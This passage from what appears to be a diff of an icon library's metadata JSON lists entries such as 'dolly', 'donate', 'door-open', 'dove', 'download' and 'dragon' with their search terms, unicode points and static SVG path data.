14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z" + } + }, + "free": [ + "solid" + ] + }, + "dolly": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "shipping", + "transport" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f472", + "label": "Dolly", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635451, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "dolly-flatbed": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "inventory", + "shipping", + "transport" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f474", + "label": "Dolly Flatbed", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635451, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "donate": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "contribute", + "generosity", + "gift", + "give" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4b9", + "label": "Donate", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635452, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "door-closed": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "enter", + "exit", + "locked" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f52a", + "label": "Door Closed", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635452, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "door-open": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "enter", + "exit", + "welcome" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f52b", + "label": "Door Open", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635452, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z" + } + }, + "free": [ + "solid" + ] + }, + "dot-circle": { + "changes": [ + "4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bullseye", + "notification", + "target" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f192", + "label": "Dot Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635452, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z" + }, + "regular": { + "last_modified": 1628088634781, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "dove": { + "changes": [ + "5.0.9", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "bird", + "fauna", + "flying", + "peace", + "war" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4ba", + "label": "Dove", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635452, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "download": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "export", + "hard drive", + "save", + "transfer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f019", + "label": "Download", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635453, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z" + } + }, + "free": [ + "solid" + ] + }, + "draft2digital": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f396", + "label": "Draft2digital", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722327, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z" + } + }, + "free": [ + "brands" + ] + }, + "drafting-compass": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "map", + "mechanical drawing", + "plot", + "plotting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f568", + "label": "Drafting Compass", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635453, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z" + } + }, + "free": [ + "solid" + ] + }, + "dragon": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "fire", + "lizard", + "serpent" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6d5", + "label": "Dragon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635453, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z" + } + }, + "free": [ + "solid" + ] + }, + "draw-polygon": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anchors", + "lines", + "object", + "render", + "shape" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ee", + "label": "Draw Polygon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635453, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 